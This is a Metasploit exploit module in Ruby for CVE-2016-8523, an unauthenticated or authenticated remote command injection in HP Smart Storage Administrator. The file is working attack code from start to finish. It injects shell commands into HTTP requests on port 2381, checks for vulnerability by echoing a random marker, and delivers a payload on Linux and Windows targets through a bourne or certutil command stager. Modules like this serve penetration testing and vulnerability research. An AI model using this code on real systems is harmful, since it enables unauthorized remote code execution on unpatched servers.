# # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "HP Smart Storage Administrator Remote Command Injection", 'Description' => %q{ This module exploits a vulnerability found in HP Smart Storage Administrator. By supplying a specially crafted HTTP request, it is possible to control the 'command' variable in function isDirectFileAccess (found in ipcelmclient.php), which will be used in a proc_open() function. Versions prior to HP SSA 2.60.18.0 are vulnerable. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nicolas Mattiocco (@MaKyOtOx)' # Discovery & multi-platform Metasploit module ], 'References' => [ ['CVE', '2016-8523'] ], 'DefaultOptions' => { 'SSL' => true }, 'Platform' => %w{ linux win }, 'Targets' => [ ['Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86, 'CmdStagerFlavor' => 'bourne' }], ['Linux (x64)', { 'Platform' => 'linux', 'Arch' => ARCH_X86_64, 'CmdStagerFlavor' => 'bourne' }], ['Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86, 'CmdStagerFlavor' => 'certutil' }], ['Windows (x64)', { 'Platform' => 'win', 'Arch' => ARCH_X86_64, 'CmdStagerFlavor' => 'certutil' }], ], 'Privileged' => false, 'DisclosureDate' => "Jan 30 2017" )) register_options( [ Opt::RPORT(2381), # USERNAME/PASS may not be necessary, because the anonymous access is possible OptString.new("USERNAME", [false, 'The username to authenticate as']), OptString.new("PASSWORD", [false, 'The password to authenticate with']) ], self.class) end def check @cookie = '' sig = Rex::Text.rand_text_alpha(8) cmd = "&echo%20#{sig}&echo" res = send_command(cmd, true) if not res vprint_error("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown end if res.code == 200 && res.headers.to_s() =~ /#{sig}/ return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def login username = datastore['USERNAME'] password = datastore['PASSWORD'] cookie = '' res = send_request_cgi({ 'method' => 'POST', 'uri' => '/proxy/ssllogin', 'vars_post' => { 'redirecturl' => '', 'redirectquerystring' => '', 'user' => username, 'password' => password } }) if not res fail_with(Failure::Unknown, "#{peer} - Connection timed out during login") end # CpqElm-Login: success if res.headers['CpqElm-Login'].to_s =~ /success/ cookie = res.get_cookies.scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || '' end cookie end def setup_stager execute_cmdstager(:temp => './', :linemax => 2800) end def execute_command(cmd, opts={}) res = send_command(cmd, false) if res && res.code != 200 vprint_error("Unexpected response:\n#{res}") fail_with(Failure::Unknown, "There was an unexpected response") end end def send_command(cmd, check) if !datastore['USERNAME'].to_s.empty? && !datastore['PASSWORD'].to_s.empty? && @cookie.empty? @cookie = login if @cookie.empty? fail_with(Failure::NoAccess, "#{peer} - Login failed") else print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'") end end req_opts = {} # For the check() function, use GET method if check req_opts['uri'] = "/HPSSA/index.htm#{cmd}" req_opts['method'] = "GET" else req_opts['uri'] = "/HPSSA/index.htm" req_opts['method'] = "POST" req_opts['vars_post'] = {'msf'=>'red'} case target.opts['Platform'] when "linux" then req_opts['data'] = "\" & #{cmd.gsub(/\.\//,"/tmp/")} & echo \"" when "win" then req_opts['data'] = "\" & #{cmd.gsub(/\.\//,"\.\\")} & echo \"" end end unless @cookie.empty? browser_chk = 'HPSMH-browser-check=done for this session' curl_loc = "curlocation-#{datastore['USERNAME']}=" req_opts['cookie'] = "#{@cookie}; #{browser_chk}; #{curl_loc}" end send_request_cgi(req_opts) end def exploit @cookie = '' setup_stager end end